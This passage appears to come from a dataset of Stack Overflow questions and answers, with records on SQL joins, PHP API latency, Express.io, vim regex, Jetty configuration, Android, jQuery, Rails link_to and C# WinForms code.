//populateList(); //remove this //.................. </code></pre>
6841209	0	Join two rows from the same table <p>I currently have this query set-up:</p> <pre><code>SELECT topic.content_id, topic.title, image.location FROM mps_contents AS topic INNER JOIN mps_contents as image ON topic.content_id = image.page_id WHERE topic.page_id = (SELECT page_id FROM mps_pages WHERE page_short_name = 'foo' ) AND image.display_order = '1' </code></pre> <p>This is because I want to merge two rows from the same table in one row. This is a simplified setup of the table</p> <pre><code>----------------------------------------------------------- | page_id | content_id | title | location | display_order | ----------------------------------------------------------- | 1 | 200 | Foo | NULL | 200 | | 200 | 201 | Bar | jpg.jpg | 1 | ----------------------------------------------------------- </code></pre> <p>And basically I want this result</p> <pre><code>--------------------------------- | content_id | title | location | --------------------------------- | 200 | Foo | jpg.jpg | --------------------------------- </code></pre> <p>So <code>Foo</code> is the 200th topic on page 1 (<code>Foo</code> is treated as a subpage and all its contents are stored in the same table) and <code>Bar</code> is its featured image (featured only because it is the 1st image)</p> <p>The query above effectively joins the two rows (it returns my desired result) but it also returns an extra row corresponding to the original row for <code>Foo</code>, that is, the location is NULL.</p> <p>I hope someone could help me prevent the query from returning that extra row.</p>
34275873	0	Reducing Server Response Time Where Loads Many Resources <p>I have a two PHP scripts that are loading many variable resources from APIs, causing the response times to as long as 2.2 seconds to 4 seconds. Any suggestions on how to decrease response times and increase efficiency would be very appreciated?</p> <p><strong>FIRST SCRIPT</strong> </p> <pre><code>require('path/to/local/API_2'); //Check if user has put a query and that it's not empty if (isset($_GET['query']) &amp;&amp; !empty($_GET['query'])) { //$query is user input $query = str_replace(" ", "+", $_GET['query']); $query = addslashes($query); //HTTP Request to API_1 //Based on $query //Max Variable is ammount of results I want to get back in JSON format $varlist = file_get_contents("http://ADRESS_OF_API_1.com?$query&amp;max=10"); //Convert JSON to Array() $varlist = json_decode($varlist, true); //Initializing connection to API_2 $myAPIKey = 'KEY'; $client = new APIClient($myAPIKey, 'http://ADRESS_OF_API_2.com'); $Api = new API_FUNCTION($client); $queries = 7; //Go through $varlist and get data for each element in array then use it in HTML //Proccess all 8 results from $varlist array() for ($i = 0; $i &lt;= $queries; ++$i) { //Get info from API based on ID included in first API data //I don't use all info, but I can't control what I get back. $ALL_INFO = $Api-&gt;GET_FUNCTION_1($varlist[$i]['id']); //Seperate $ALL_INFO into info I use $varlist[$i]['INFO_1'] = $ALL_INFO['PATH_TO_INFO_1']; $varlist[$i]['INFO_2'] = $ALL_INFO['PATH_TO_INFO_2']; //Check if info exists if($varlist[$i]['INFO_1']) { //Concatenate information into HTML $result.=' &lt;div class="result"&gt; &lt;h3&gt;'.$varlist[$i]['id'].'&lt;/h3&gt; &lt;p&gt;'.$varlist[$i]['INFO_1'].'&lt;/p&gt; &lt;p&gt;'.$varlist[$i]['INFO_2'].'&lt;/p&gt; &lt;/div&gt;'; } else { //In case of no result for specific Info ID increase //Allows for 3 empty responses ++$queries; } } } else { //If user didn't enter a query, relocates them back to main page to enter one. header("Location: http://websitename.com"); die(); }` </code></pre> <blockquote> <p>NOTE: $result equals HTML information from each time arround the loop.</p> <p>NOTE: Almost all time is spent in the <code>for ($i = 0; $i &lt;= 7; ++$i)</code> loop.</p> </blockquote> <p><strong>SECOND SCRIPT</strong> </p> <pre><code>//Same API as before require('path/to/local/API_2'); //Check if query is set and not empty if (isset($_GET['query']) &amp;&amp; !empty($_GET['query'])) { //$query is specific $varlist[$i]['id'] for more information on that data $query['id'] = str_replace(" ", "+", $_GET['query']); $query['id'] = addslashes($query['id']); //Initializing connection to only API used in this script $myAPIKey = 'KEY'; $client = new APIClient($myAPIKey, 'http://ADRESS_OF_API_2.com'); $Api = new API_FUNCTION($client); $ALL_INFO_1 = $Api-&gt;GET_FUNCTION_1($query['id']); $query['INFO_ADRESS_1.1'] = $ALL_INFO_1['INFO_ADRESS_1']; $query['INFO_ADRESS_1.2'] = $ALL_INFO_2['INFO_ADRESS_2']; $ALL_INFO_2 = $Api-&gt;GET_FUNCTION_2($query['id']); $query['INFO_ADRESS_2.1'] = $ALL_INFO_3['INFO_ADRESS_3']; $ALL_INFO_3 = $Api-&gt;GET_FUNCTION_3($query['id']); $query['INFO_ADRESS_3.1'] = $ALL_INFO_4['INFO_ADRESS_4']; $ALL_INFO_4 = $Api-&gt;GET_FUNCTION_4($query['id']); $query['INFO_ADRESS_4.1'] = $ALL_INFO_5['INFO_ADRESS_5']; $query['INFO_ADRESS_4.2'] = $ALL_INFO_6['INFO_ADRESS_6']; $ALL_INFO_5 = $Api-&gt;GET_FUNCTION_5($query['id']); $query['INFO_ADRESS_5.1'] = $ALL_INFO_7['INFO_ADRESS_7']; } $result = All of the $query data from the API; } else { //If no query relocates them back to first PHP script page to enter one. header("Location: http://websitename.com/search"); die(); }` </code></pre> <blockquote> <p>NOTE: Similiarly to the first script, most time is spent getting info from the secondary API.</p> <p>NOTE: In the second script, the first API is replaced by a single specific variable from the first script page,so $varlist[$i]['id'] = $query['id'].</p> <p>NOTE: Again, $result is the HTML data.</p> </blockquote>
19373415	0	 <p>To go back to original app you can use telprompt:// instead of tel:// - The tell prompt will prompt the user first, but when the call is finished it will go back to your app:</p> <pre><code>NSString *phoneNumber = [@"telprompt://" stringByAppendingString:mymobileNO.titleLabel.text]; [[UIApplication sharedApplication] openURL:[NSURL URLWithString:phoneNumber]]; </code></pre> <p>just an update on above answer.</p>
7667780	0	 <p>I was having the same problem when upgrading my server from glassfish v3.0.1 to glassfish v3.1.1. Seems like there is a bug in the jaxb-osgi.jar in v3.1.1. <a href="http://java.net/jira/browse/JAXB-860" rel="nofollow">http://java.net/jira/browse/JAXB-860</a> shows that the fix will be included in glassfish v3.1.2. But at the meantime, I replaced the jaxb-osgi.jar in glassfish v3.1.1 with the jar from glassfifh v3.0.1 and the problem is solved. You should be able to get a newer version of jaxb-osgi.jar that has the fix in as well.</p>
15424129	0	Express.io, socket.io.js not found <p>I got an issue with Express.io, I try to create a simple tchat. But I'm not be able to include the socket.io.js, I got an error...</p> <p>I just installed Express.io on my new Express project.</p> <p>My errors : </p> <ol> <li>GET http://<strong><em>*</em>**</strong>/socket.io/socket.io.js 404 (Not Found)</li> <li>localhost:1 Uncaught ReferenceError: io is not defined</li> </ol> <p><strong>Index.jade</strong></p> <pre><code>doctype 5 html head title= title link(rel='stylesheet', href='/stylesheets/style.css') body block content script(src="http://localhost:3000/socket.io/socket.io.js") script(src="/javascripts/user.js") </code></pre> <p><strong>app.js</strong></p> <pre><code>/** * Module dependencies. */ var express = require('express.io') , index = require('./routes/index.js') , http = require('http') , path = require('path'); var app = express(); app.http().io(); app.configure(function(){ app.set('port', process.env.PORT || 3000); app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(express.favicon()); app.use(express.logger('dev')); app.use(express.bodyParser()); app.use(express.methodOverride()); app.use(app.router); app.use(express.static(path.join(__dirname, 'public'))); }); app.configure('development', function(){ app.use(express.errorHandler()); }); app.get('/', index.index); app.io.route('ready', function(req) { req.io.emit('talk', { message: 'io event from an io route on the server' }); }); http.createServer(app).listen(app.get('port'), function(){ console.log("Express server listening on port " + app.get('port')); }); </code></pre> <p><strong>index.js (route)</strong></p> <pre><code>exports.index = function(req, res){ res.render('index', { title: 'TCHAT' }); }; </code></pre> <p><strong>user.js</strong></p> <pre><code>io = io.connect(); // Emit ready event. io.emit('ready'); // Listen for the talk event. io.on('talk', function(data) { alert(data.message); }); </code></pre> <p><strong>New error</strong></p> <p>Failed to load resource: the server responded with a status of 404 (Not Found) http://<strong>*</strong>:3000/socket.io.js Uncaught ReferenceError: io is not defined </p>
4125245	0	 <pre><code>SELECT * FROM ( SELECT * FROM _A WHERE level = "1" UNION ALL SELECT * FROM _B WHERE level = "1" UNION ALL SELECT * FROM _C WHERE level = "1" ) ORDER BY RANDOM() LIMIT 1 </code></pre>
549202	0	 <p>osascript -e "tell application \"Terminal\" to set background color of window 1 to {0,45000,0,0}"</p> <p><a href="http://stackoverflow.com/questions/157959/how-do-i-make-the-apple-terminal-window-auto-change-colour-scheme-when-i-ssh-to-a">(Can't take the credit)</a> </p>
21462564	0	 <p>Hi in the Facebook SDK for the Android it is only possible to Share something not to Like. if you want to Like page you should use WebView and use Iframe in it to display like button.</p>
10371662	0	 <p>A generic approach:</p> <pre><code>:%s/\(&lt;string name="\)\(\u\)\([^" ]\+\) \([^" ]\+\)/\1\l\2\e\3_\4/ </code></pre> <p>This replaces every string @name that </p> <ul> <li>starts with an upper case character (<code>\u</code>) and</li> <li>consists of two space-separated words (<code>\([^" ]\+\) \([^" ]\+\)</code>) and </li> <li>replaces it with the corresponding lower-case character (<code>\l\2\e</code>). </li> <li>It also replaces the space with an underscore.</li> </ul> <hr> <p>To make everything in @name lower-case, this could be simplified:</p> <pre><code>:%s/\(&lt;string name="\)\([^" ]\+\) \([^" ]\+\)/\1\l\2_\3_\e/ </code></pre> <hr> <p>To get rid of multiple spaces, do two steps. First, make the attribute value lower-case:</p> <pre><code>:%s/\(&lt;string name="\)\([^"]\+\)/\1\l\2\e/ </code></pre> <p>then, replace every space in the attribute value with an underscore</p> <pre><code>:%s/\(&lt;string name="[^"]*\)\@&lt;= /_/g </code></pre> <p>Note that the <code>\@&lt;=</code> is vim's way of expressing a positive look-behind assertion.</p>
20047697	0	 <p>Problem solved! The issue is never about log4j. It is because WebApplicationInitializer need servlet 3.1 support which is not enabled as default. We have enabled following in the start.ini</p> <pre><code># =========================================================== # Enable additional webapp environment configurators # ----------------------------------------------------------- OPTIONS=plus etc/jetty-plus.xml # =========================================================== # Enable servlet 3.1 annotations # ----------------------------------------------------------- OPTIONS=annotations etc/jetty-annotations.xml </code></pre>
20572875	0	DataGridView CellContentClick event missed if SelectionChanged event handled? <p>I'm using C++/CLI .NET 4.5 on Win7. I develop a control with a DataGridView. The cells are not editable by the user neither it is possible to add rows manually.</p> <p>I need to catch/handle the <em>SelectionChanged</em> event, so I added a handler for it. I also need to catch/handle the <em>CellContentClick</em> event, so I added too the handler for it. If I click on the content of a cell, of course the selection is changed but I would like to catch the event for the click too. The handler for <em>CellContentClick</em> is never called.</p> <ul> <li><p>If I remove the <em>SelectionChanged</em> handler, the <em>CellContentClick</em> is catched as wanted.</p></li> <li><p>If I put a <code>return</code> as the first line of my <em>SelectionChanged</em> handler, the <em>CellContentClick</em> is never catched neither.</p></li> </ul> <p>It looks like if the handler for the Selection forbids the event for the click to be fired????</p> <p>Any idea? Let me know if you need more info about the settings of my DataGridView.</p> <p>Thanks!</p>
37415120	0	Okay to use underscores in file and folder names in PHP? <p>For example using <code>&lt;?php include '_blogroll.php'; ?&gt;</code> instead of blogroll.php ? It helps me organize the partial files in cPanel (_header.php, _footer.php, etc.)</p>
11725338	0	 <p>The my.cnf should not be world-writable (i.e. **6 or **7) permissions.</p> <p>It is a security vulnerability. MySQL will ignore files with this this permission setting.</p>
36806353	0	Can object method call be done simultaneously with object instantiation? <p>I'm trying to use java class <code>BitSet</code> as a field for a customized class. And I want the class to use a default BitSet with all bits set.</p> <pre><code>import java.util.BitSet; public class MyClass { private BitSet mask; public MyClass() { this(new BitSet(4)); // want to set all bits first // something like // this( new BitSet(4).set(0,3) ); } public MyClass(BitSet mask) { this.mask = mask; } } </code></pre> <p>By default <code>BitSet</code> constructor unsets all bits. So before I send it as an anonymous object, I would like call <code>set(int, int)</code> method to set all bits. I know that I could simply initialize the field <code>mask</code> to a new <code>BitSet</code> and then call <code>set(int, int)</code> method from there. </p> <p>However, in general I'm wondering is it possible to access an instance method at time of object instantiation?</p>
16168794	0	EF classes don't show up in when adding new API Controller <p>This question has been asked a few times in SO but nothing helped so far in my case.</p> <p>To an existing MVC project I added a model generated from a database (using database first). Now I would like to add a new API controller. However, neither my new model classes nor my data context class show up in "Add Controller" dialog:</p> <ul> <li>made sure I recompiled my dll</li> <li>restarted VS (2010)</li> <li>deleted AssemblyInfo.cs (as suggested in another SO post)</li> <li>checked with ILSpy to make sure models are in and have an Id</li> </ul> <p>My workaround is to put my models in another dll. However, I think that shouldn't be necessary...</p>
3320676	0	 <p>I found the answer. I finally broke down and downloaded the ROM and extracted the bitmaps with NAPIT. (btw: staring at extracted ROM bitmaps is really bloody hard on your eyes!)</p> <p>I matched a few bitmaps and end-results <a href="http://img405.imageshack.us/img405/9396/finalfantasy2.gif" rel="nofollow noreferrer">here</a>.</p> <p>Each character has a color that is mostly relegated to top part of the sprite so I chased that idea a while. It turns out that's a red herring. Comparing the in-game sprites vs. the color masks, you can see that black and transparent use the same color mask. Therefore, <em>IF</em> a black outline is shown, then it must be on a separate layer. However, despite the black outlines on the sprite-sheet, I can't find any real examples of black outlines in the game.</p> <p><a href="http://www.youtube.com/watch?v=Tx0c7jXbA_E" rel="nofollow noreferrer">Here's a video on YouTube</a> with lots of good examples. When you are on the blue background screen (@ 0:27), the outlines and the black mage's face are the blue of the background (ie: there is no black outline, it's transparent). In combat, the background is black. @ 1:46 a spell is cast that makes the background flash grey. All black areas, including outlines and black eyes, flash grey. Other spells are also cast around this part of the video with different colors of flashes. The results are the same.</p> <p>The real answer is that the black outlines on the sprite sheet don't seem to exist in the game. Whoever made the sprite sheet took the screenshots with a black background and scrubbed the background away.</p>
33494433	0	specs2 - how to use the same variable inside around and inside the test itself? <p>I am using specs2 as my test framework. I want to generate a uniq key that will be available in the test itself.</p> <pre><code>def around[R: AsResult](r: =&gt; R): Result = { val uniqueToken = before() try AsResult(r)(uniqueToken) finally after(uniqueToken) } "foo" should { "bar" in { do something with uniqueToken } } </code></pre> <p>Couldn't find any good way to do it.. Any idea?</p>
20855152	0	 <p>First get the text length by </p> <pre><code>var get = $("#value").val().length; </code></pre> <p>Then get the max size means width of button before this set a fixed width to button</p> <pre><code>maxScale = $("#value").width(); </code></pre> <p>then just reduce the font size by</p> <p>by comparing the both with if set the fontsize</p> <pre><code>if ( currentFontSize &lt; maxSize ) { currentFontSize += .1; $("button").css('font-size', fontSize + 'px'); </code></pre> <p>try this ...</p>
1897907	0	 <p>The Skyhook system seems to work only for mobile devices. It uses either GPS (from the device's own GPS software), knowledge of the location of the WiFi access point in use, or triangulation from the cell towers that are in use.</p> <p>Details are <a href="http://www.skyhookwireless.com/howitworks/" rel="nofollow noreferrer">here</a>.</p> <p>The best accuracy comes if the user is willing to share their GPS location, or their WiFi access point is listed in the Skyhook database. However, most casual users won't have their GPS antenna turned on unless they're navigating somewhere, and most private or corporate WiFi access points won't be listed.</p> <p>So in practice this service is only really useful for applications where the user gives consent, such as tracking devices in use by a company. </p> <p>The fallback is to use geolocation of the IP, which as I mentioned in my comment above is very very inaccurate and is really only of use for fun.</p>
25362820	0	Get build requestor using Groovy script (Jenkins / email-ext) <p>I want to get the username and/or email address of the build requestor in a post-build script.</p> <p><em>Sidenote: I want the requestor so I can set the email sender of the post-build email notification dynamically in the email-ext plugin's pre-send script.</em></p> <p><a href="http://javadoc.jenkins-ci.org/hudson/model/AbstractBuild.html" rel="nofollow"><code>AbstractBuild</code></a> has built-in support for <code>AbstractBuild.getCulprits()</code> and <code>AbstractBuild.hasParticipant(User user)</code> but I can't find a method for retrieving the requestor. I can't find any useful reference in <a href="http://javadoc.jenkins-ci.org/hudson/model/class-use/User.html" rel="nofollow">reference list</a> to the <code>User</code> class either.</p>
30929519	0	Android: How to find width and height of screen? <p>I am trying to find the width and height of the screen but none of the ways I have tried will work in the class I created, my code is below. </p> <p>Does anyone know how to find it? I cannot use the way I am trying below because .getWidth() is deprecated?</p> <pre><code>public class Crate { public int acrossCrate; public int upDownCrate; Context theContext; WindowManager wm = (WindowManager)theContext.getSystemService(Context.WINDOW_SERVICE); Display display = wm.getDefaultDisplay(); int width = display.getWidth(); public Crate() { acrossCrate = 650; upDownCrate = 650; //int width = ; //int height = ; } } </code></pre>
36742234	0	 <p>The error that you showed is because Twig is trying to execute the <code>getLastname()</code> method in your object and it's not defined.</p> <p>The solution is the one provided by @qooplmao in a previous comment and use the <a href="http://twig.sensiolabs.org/doc/functions/attribute.html" rel="nofollow">attribute() function</a>:</p> <pre><code>{{ attribute(obj, 'getLastname' ~ suff) }} </code></pre>
22236706	0	 <p>I figured I'd elaborate on my comment. I'd just have some bitwise fun.</p> <pre><code>char string[] = "123456" byte1 = ((unsigned char)string[0] &lt;&lt; 4) | (unsigned char)string[1]; byte2 = ((unsigned char)string[2] &lt;&lt; 4) | (unsigned char)string[3]; byte3 = ((unsigned char)string[4] &lt;&lt; 4) | (unsigned char)string[5]; </code></pre>
24532285	0	Get value if all objects in chain exist, get fallback value if not <p>Feel kind of stupid to ask.. I want to get something like this:</p> <pre><code>var value = $scope.settings.paper.font.color || 0; </code></pre> <p>The problem is that some of the middle objects may not exist. </p> <p>Is there an ultimate way to get <strong>value</strong> if all "object chain" exists and get some fallback if not?</p> <p>For example, in line above if all objects exists, we may return value of <strong>color</strong>, but if only $scope.settings exists, and there's no <em>paper</em> object in it, i will get an error, not 0.</p>
21906600	0	 <pre><code>echo "&lt;meta http-equiv=\"refresh\" content=\"4;URL=inbox.php\"&gt;"; </code></pre> <p>change 0 to 4 can do this</p>
19342595	0	 <p>I was battling this for a few hours as well and came up with a solution. In my project i am using angular to control the actual view switching. so what i did was to define two separate route groups in L4, one that returns actual pages directly from laravel's routing system and another that returns HTML fragments for angulars routing system.</p> <p>Here is an example of my routing</p> <pre><code>//Laravel pages and API routes Route::get('/', function() { return View::make('hello'); }); Route::get('/register',function(){ return View::make('registration'); }); //Angular SPA routes(HTML fragments for angulars routing system) Route::get('/getstarted', function(){ return View::make('getStarted'); }); Route::get('/terms',function(){ return View::make('terms'); }); </code></pre> <p>So in this scenario, laravel sends your home page when you call "/", and the ng-view asks for "/getstarted" by ajax which returns your html fragment. Hope this helps :)</p>
34660347	0	 <p>Assuming <code>(</code> and <code>)</code> are not nested and unescaped. You can use split using:</p> <pre><code>String[] arr = input.split(",(?![^()]*\\))\\s*"); </code></pre> <p><a href="https://regex101.com/r/wK4bC6/1" rel="nofollow">RegEx Demo</a></p> <p><code>,(?![^()]*\))</code> will match a comma if it is NOT followed by a non-parentheses text and <code>)</code>, thus ignoring commas inside <code>(</code> and <code>)</code>.</p>
7137845	0	 <p>As others have pointed out ruby's <code>Symbol#to_proc</code> method is invoked and calls the <code>age</code> method on each hash in the array. The problem here is that the hashes do not respond to an <code>age</code> method.</p> <p>Now we could define one for the Hash class, but we probably don't want it for every hash instance in the program. Instead we can simply define the <code>age</code> method on each hash in the array like so:</p> <pre><code>array.each do |hash| class &lt;&lt; hash def age self[:age] end end end </code></pre> <p>And then we can use <code>group_by</code> just as you were before:</p> <pre><code>array = array.group_by &amp;:age </code></pre>
23458780	0	 <p>I know for sure that the C++ version supports merging two channels, so you can use it. Have you tried passing two input images and NULL for the rest?</p>
15679897	0	 <p>You can use conditional compilation to get only IE10, this is a good way because it does not rely on jQuery or anything that could be spoofed(afaik).</p> <p>Tested it on IE8, IE9, IE10, Chrome and worked as expected in all.</p> <p>Usage:</p> <p><code>if(Function('/*@cc_on return document.documentMode===10@*/')()){ $("html").addClass("ie10"); }</code></p> <p>read on: <a href="http://stackoverflow.com/a/13971998/1711038">http://stackoverflow.com/a/13971998/1711038</a></p>
20808639	0	javascript check from input if any values are in array of forbidden words <p>I'm having trouble figuring out how to do this. I'm using jQuery and I know the inArray function but I'm stuck. When the user inserts some values in an input field, I want to check if any of the words entered are in an array...if they are then to remove them. Here's what I have:</p> <pre><code>&lt;input type="text" id="search"/&gt; $("#search").bind('enterKey', function(e){ var search = $('#search').val(); var check = ['on', 'a', 'the', 'of', 'in', 'if', 'an']; var id = $.inArray(check, search); if (id !== -1){ alert ("in array"); }else{ alert ("not in array"); } }); $('#search').keyup(function(e){ if(e.keyCode == 13){ $(this).trigger("enterKey"); } }); </code></pre> <p><a href="http://jsfiddle.net/F4ZfD/2/" rel="nofollow">Fiddle</a></p> <p>I'm sure my if statement is wrong...please help me out!</p>
23413206	0	Add style to link_to <p>I don't get along with the <code>link_to</code> helper and similar stuff. I am trying to add a style to my link but I can't manage to do it, because according to the documentation the parameters are options and html_options, but then some parameters I am using are not even listed in the docs for <code>link_to</code> so I don't know which are options and which html_options so I can't rearrage the hashes.</p> <pre><code>&lt;%= link_to '+', :controller =&gt; 'shop', :action =&gt; 'add', :id =&gt; product, :remote =&gt; true %&gt; </code></pre> <p>How should I rearrange the hashes to allow me to add <code>:styles =&gt; 'color:red;.....'</code>?</p>
1645232	0	 <p>Drewamweaver or MS's Visual Studio/Web Developer Express will do the trick. They're both overkill (especially MS's tools). </p> <p>I also think MS has (free) HTMLHelp. It's out there, but I don't know if it'll produce the files you need.</p>
31856093	0	 <p>Just write <code>import Bolts</code> in you AppDelegate.swift file</p>
7488838	0	Gradient Backgrounds in internet explorer version <=8 <p>I need to have gradient backgrounds on my website for internet explorer. I know there is some kind of proprietry way of doing this:</p> <pre><code>filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#20799d', EndColorStr='#5cb9df'); </code></pre> <p>But this doesn't grok with <code>border-radius</code> (supported by IE8, at least), which my site uses all over the place.</p> <p>How should I solve this? (Other than just not having gradient backgrounds on old versions of IE, I mean.)</p>
19159958	0	 <p>I think its TinyMCE that messes with your markup. You can edit the TinyMCE config file in App_Data\Settings\tinymce-standard.js to suit your needs.</p>
4519068	0	 <p>It might be quite a late reply, but you could benefit from this lab course written primarily for learning PIC Assembly through applications. </p> <p>Check: <a href="http://embedded-ju.ucoz.com/" rel="nofollow">http://embedded-ju.ucoz.com/</a></p> <p>Check the experiments tab, it includes:</p> <p><strong>Experiment 0</strong> - (Introduction to MPLAB)</p> <p><strong>Experiment 1</strong> - (Introduction to PIC Assembly Instruction Set)</p> <p><strong>Experiment 2</strong> - (More on Instruction Set and Modular Programming Techniques)</p> <p><strong>Experiment 3</strong> - (Basic System Analysis and Design)<br> 3.1. Guide to Hardware I </p> <p><strong>Experiment 4</strong> - ( LCD - HD44780 )</p> <p><strong>Experiment 5</strong> - (Keypad) </p> <p><strong>Experiment 6</strong> - (Using HI-TECH C Compiler in MPLAB) 6.1. PIC Programming with ICD2 Guide.</p> <p><strong>Experiment 7</strong> - (Timers (Timer0 and Timer2))</p> <p><strong>Experiment 8</strong> - (USART)</p> <p><strong>Experiment 9</strong> - (Software PWM &amp; A/D)</p> <hr> <p>It is based on the PIC 16 series, most notably, 16f84A, 16F877A and 16F917 .. the examples are fully commented, and the experiments fully explained.</p>
28223574	0	Try to move UIImageView in screen with touchesMoved <p>I try to move 2 UIImageView.</p> <p>Only one picture is supposed to move when I drag.</p> <p>What I trying to accomplish is move UIImageView when I touch and drag the UIImageView.</p> <p>This Is my viewDidLoad :</p> <pre><code>-(void)viewDidLoad { [super viewDidLoad]; myImageView = [[UIImageView alloc]initWithFrame:CGRectMake(100, 100, 200, 100)]; [myImageView setImage:[UIImage imageNamed:@"image1.png"]]; [self.view addSubview:myImageView]; myImageView1 = [[UIImageView alloc]initWithFrame:CGRectMake(100, 200, 200,100)]; [myImageView1 setImage:[UIImage imageNamed:@"image2"]]; [self.view addSubview:myImageView1]; } </code></pre> <p>This Is my touchesMoved method :</p> <pre><code> - (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event { // get touch event UITouch *touch = [[event allTouches] anyObject]; CGPoint touchLocation = [touch locationInView:self.view]; for (UIImageView *image in [self.view subviews]) { if ([touch view] == image) { // move the image view image.center = touchLocation; } } } </code></pre> <p>In this line I don't get the images view </p> <pre><code>for (UIImageView *image in [self.view subviews]) </code></pre> <p>It is possible to get the current touched UIIamgeView ?</p>
20632342	0	 <p>Just change your for loop,</p> <pre><code> for(int row=0; row&lt;1; row++){ for(int column = 0; column&lt;x[row].length; column++){ System.out.println(x[row][column] + "\t"+x[row+1][column] ); } System.out.print("\n"); } </code></pre> <p>into below this will work even you have 5000 rows, </p> <pre><code> for(int row=0; row&lt;x.length-1; row++){ for (int column = 0; column &lt; x.length; column++) { System.out.print(x[column][row] + "\t" ); } System.out.println(); } </code></pre>
21748244	0	 <p>You might also consider using <a href="http://packer.io" rel="nofollow">Packer</a> to create VirtualBox images for developers to use. </p> <p>Rather than sharing the Vagrantfile which developers each use to build and run their VM, you would have a packer template (json) which is used to create a VM image. Developers download or copy the image and run it locally, directly in VB, without having to build it themselves.</p> <p>Many of the publicly shared Vagrant base boxes are created with Packer.</p>
40359412	0	 <p>I used the (penultimate) code in Robert McKee's solution, however, had to adapt it to get it to compile and display correctly in the view:</p> <pre><code>public ActionResult Create() { ViewBag.AllSystems = new MultiSelectList(db.dbSystem.Select(x=&gt;new { Name=x.systemName, Value=x.systemId }),"Value","Name"); return View(); } </code></pre> <p>etc....</p>
26905220	0	 <p>Create a <code>List&lt;TextBox&gt;</code> for each group:</p> <pre><code> List&lt;TextBox&gt; list01 = new List&lt;TextBox&gt;() { tbPlay0, tbPlay1, ....}; List&lt;TextBox&gt; list02 = new List&lt;TextBox&gt;() { ..., ... , ....}; // .. } </code></pre> <p>And pass such a group to the function:</p> <pre><code>private void convertBasetoDrawn(List&lt;TextBox&gt; list, string numBase, string reference) { string[] texts = new string[8] { "000", "500", "050", "005", "550", "505", "055", "555" }; for (int t = 0; t &lt; list.Count; t++) list[t].Text = texts[t]; list[0].ForeColor = Color.Red; list[7].ForeColor = Color.Red; } </code></pre> <p>Assuming the texts will always look like that. If they depend on, maybe <code>numbase</code> you can construct them dynamically as well, as long as you know the rules.. Maybe even a simple replacement will do the job?</p> <p>You didn't use <code>reference</code>, btw..</p> <p>Now, I'm just guessig here, but maybe this is the pattern for your texts..:</p> <pre><code> string[] texts = new string[8] { "nnn", "dnn", "ndn", "nnd", "ddn", "dnd", "ndd", "ddd" }; for (int s = 0; s &lt; texts.Length; s++) texts[s] = texts[s].Replace("d", numBase).Replace("n", reference); </code></pre> <p>Now you can call it like this:</p> <pre><code>convertBasetoDrawn(list01, "0","5"); </code></pre> <p>Update: For the rules as I understand them now you could do:</p> <pre><code>string newText = ""; for (int s = 0; s &lt; texts.Length; s++) { newText = ""; for (int i = 0; i &lt; 3; i++) { if (texts[s][i] == 'n') newText += numBase[i]; else newText += (Convert.ToByte(numBase[i].ToString()) + Convert.ToByte(reference[0].ToString()) ).ToString("0"); } texts[s] = newText; } </code></pre> <p>and call it like this: </p> <pre><code> convertBasetoDrawn(list01, "001", "5"); </code></pre> <p>or</p> <pre><code> convertBasetoDrawn(list02, "000", "1"); </code></pre> <p>Note: no carry over here.. You'd have to define rules for that and code it yourself..</p>
